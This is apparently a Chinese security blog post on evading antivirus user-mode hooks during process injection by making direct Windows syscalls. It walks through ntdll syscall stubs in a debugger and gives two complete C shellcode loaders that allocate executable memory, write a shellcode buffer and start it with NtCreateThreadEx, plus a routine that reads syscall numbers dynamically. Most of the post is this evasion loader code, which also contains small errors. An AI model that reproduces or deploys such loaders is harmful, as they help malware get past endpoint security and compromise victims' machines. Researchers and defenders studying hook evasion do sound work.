WEB

WEB安全

漏洞复现

CTF

常用工具

实战

代码审计

Javaweb

后渗透

内网渗透

免杀

进程注入

权限提升

漏洞复现

靶机

vulnstack

vulnhub

Root-Me

编程语言

java

逆向

PE

逆向学习

HEVD

PWN

CTF

heap

其它

关于博客

面试

杂谈

使用系统调用SYSCALL规避杀软HOOK

在进程注入的时候会出现一些敏感函数被HOOK的情况

像VirtualAllocEx,WriteProcessMemory都是重点关注的函数

本文通过直接调用系统调用号绕过杀软HOOK,syscall限于64位

0x01 系统调用号

打个比方

VirtualAllocEx不是用户层的最后一个函数

VirtualAllocEx->VirtualAllocExNuma->ZwAllocateVirtualMemory

最后ZwAllocateVirtualMemory函数进入内核层

这些底层的函数都有一个数字,在windows10的情况下ZwAllocateVirtualMemory对应的号就是0x18号

简单说就是底层函数对应的那个数字就是系统调用号

下面用dbg跟一下VirtualAllocEx

这是主函数里面VirtualAllocEx用F7跟进

上面调整下堆栈,然后jmp到VirtualAllocEx函数位置

这里看到调用了VirtualAllocExNuma

这里就调到了ntdll.dll里面的ZwAllocateVirtualMemory,基本到ntdll.dll里面是用户层底层函数了

到这里就可以看到调用号是18了,上面也有一些别的调用号对应的函数

1
2
3
4
5
6
mov r10,rcx
mov eax,18
test byte ptr ds:[7FFE0308],1
jne ntdll.7FFAA5D22B15
syscall
ret

上面这段就是执行系统调用号对应的函数

test byte ptr ds:[7FFE0308],1
jne ntdll.7FFAA5D22B15

这是用来校验的可以删掉

1
2
3
4
mov r10,rcx
mov eax,18 #将系统调用号存入eax中
syscall #进入内核层
ret

上面的四行就可以调用用户层最下层函数

不同系统的系统调用号是不同的,可以在下面这个网站查询,找不到的函数Zw修改Nt就可以

https://j00ru.vexillium.org/syscalls/nt/64/

0x02 代码实现

VirtualAllocEx -> NtAllocateVirtualMemory -> 0x18
WriteMemory -> NtWriteVirtualMemory -> 0x3a
CreateRemoteThread -> NtCreateThreadEx -> 0xc6

这是三个敏感函数对应的底层函数

这次不使用NtWriteVirtualMemory函数就用普通的WriteMemory写内存,因为NtWriteVirtualMemory涉及内存保护比较麻烦

ZwOpenProcess->ZwProtectVirtualMemory->ZwWriteVirtualMemory

要这样写,还没研究过就先不看了

上面的系统调用号都是windows11的,网站上只到windows10,所以有些对不上

这里就不写找的过程了,和上面是相同的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#include <stdio.h>
#include <windows.h>
#pragma comment(linker, "/section:.data,RWE")

unsigned char buf[] = "shellcode";

char syscall_sc[] = {
0x4c, 0x8b, 0xd1,
0xb8, 0xb9, 0x00, 0x00, 0x00, //系统调用号
0x0f, 0x05, //syscall
0xc3 //ret
};

typedef LPVOID (WINAPI* fnNtAllocateVirtualMemory)(
HANDLE ProcessHandle, //进程句柄
PVOID* BaseAddress, //指向开辟内存的指针,二级指针
ULONG_PTR ZeroBits, //不知道啥用直接置零
PSIZE_T RegionSize, //指向开辟大小的指针
ULONG AllocationType, //内存页
ULONG Protect //内存属性
);

typedef DWORD(WINAPI* fnNtCreateThreadEx)(
PHANDLE ThreadHandle, //指向线程句柄的指针
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle, //进程句柄
LPTHREAD_START_ROUTINE lpstartAddress, //要执行的函数
LPVOID lpParameter, //函数的参数
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnknow
);

//还有几个参数用不到置零就就可以

int main()
{

SIZE_T SIZE = 0x1000;
LPVOID Address NULL;
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, -1); //得到进程句柄
syscall_sc[4] = 0x18; //修改模板调用号
fnNtAllocateVirtualMemory NtAllocateVirtualMemory = (fnNtAllocateVirtualMemory)&syscall_sc;
//设置执行函数就走到已修改过的syscall位置
NtAllocateVirtualMemory(process, &Address, 0, &SIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//调用NtAllocateVirtualMemory函数
WriteProcessMemory(process, Address, buf, sizeof(buf), NULL); //写内存
syscall_sc[4] = 0xc6; //修改模板
fnNtCreateThreadEx NtCreateThreadEx = (fnNtCreateThreadEx)&syscall_sc; //设置函数指针
HANDLE hRemoteThread;
DWORD ZwRet = NtCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, process, (LPTHREAD_START_ROUTINE)Address, NULL, 0, 0, 0, 0, 0); //执行线程
}

写过Hook的师傅可能知道,内联Hook都是直接修改函数的汇编,把正常执行的汇编跳到某个想执行的地方

上述方法直接调用底层函数,普通的Hook已经定位不到了,再高级一点Hook住ntdll.dll也是没用的,因为这里的syscall并不是通过ntdll.dll的,理论上来说已经避免了R3的Hook了

0x03 动态获取系统调用号

上面的代码还有个问题,不同版本的系统系统调用号也是不同的,甚至有些小版本的系统调用号也不同,这样写兼容肯定是很不好的,需要找到一种动态获取系统调用号的方法

先看一段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include<stdio.h>
#include<Windows.h>
#pragma comment(linker, "/section:.data,RWE")

typedef LPVOID(WINAPI* fnNtAllocateVirtualMemory)(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);

int main() {
SIZE_T SIZE = 0x1000;

LPVOID Address = NULL;
fnNtAllocateVirtualMemory NtAllocateVirtualMemory = (fnNtAllocateVirtualMemory)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory");
NtAllocateVirtualMemory(GetCurrentProcess(), &Address, 0, &SIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

}

用dbg查看下

GetProcAddress得到了函数指针存在ebx然后call过去

这里过去同样可以找到syscall号

可以通过得到函数指针,往后推四个字节得到syscall号

可以写个函数实现一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#include <stdio.h>
#include <windows.h>
#pragma comment(linker, "/section:.data,RWE")

unsigned char buf[] = "shellcode";

char syscall_sc[] = {
0x4c, 0x8b, 0xd1,
0xb8, 0xb9, 0x00, 0x00, 0x00, //系统调用号
0x0f, 0x05, //syscall
0xc3 //ret
};

typedef LPVOID (WINAPI* fnNtAllocateVirtualMemory)(
HANDLE ProcessHandle, //进程句柄
PVOID* BaseAddress, //指向开辟内存的指针,二级指针
ULONG_PTR ZeroBits, //不知道啥用直接置零
PSIZE_T RegionSize, //指向开辟大小的指针
ULONG AllocationType, //内存页
ULONG Protect //内存属性
);

typedef DWORD(WINAPI* fnNtCreateThreadEx)(
PHANDLE ThreadHandle, //指向线程句柄的指针
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle, //进程句柄
LPTHREAD_START_ROUTINE lpstartAddress, //要执行的函数
LPVOID lpParameter, //函数的参数
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnknow
);

int GetSysCall(LPCSTR FuncName) {
SIZE_T num;
char sc[5];
LPVOID FuncPoint = GetProcAddress(GetModuleHandleA("ntdll.dll"), FuncName); //得到函数指针
ReadProcessMemory(GetCurrentProcess(), FuncPoint, &sc, 0x5, &num); //读取五个字节存到数组
return sc[4]; //取得syscall号
}

int main()
{

SIZE_T SIZE = 0x1000;
LPVOID Address= NULL;
ULONG write;
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, -1);
syscall_sc[4] = GetSysCall("NtAllocateVirtualMemory");
fnNtAllocateVirtualMemory NtAllocateVirtualMemory = (fnNtAllocateVirtualMemory)&syscall_sc;
NtAllocateVirtualMemory(process, &Address, 0, &SIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(process, Address, buf, sizeof(buf), NULL);
syscall_sc[4] = GetSysCall("NtCreateThreadEx");
fnNtCreateThreadEx NtCreateThreadEx = (fnNtCreateThreadEx)&syscall_sc;
HANDLE hRemoteThread;
DWORD ZwRet = NtCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, process, (LPTHREAD_START_ROUTINE)Address, NULL, 0, 0, 0, 0, 0);
system(" pause");

}

这样就实现了动态获取系统调用号

0x04 参考

https://idiotc4t.com/defense-evasion/overwrite-winapi-bypassav

https://idiotc4t.com/defense-/dynamic-get-syscallid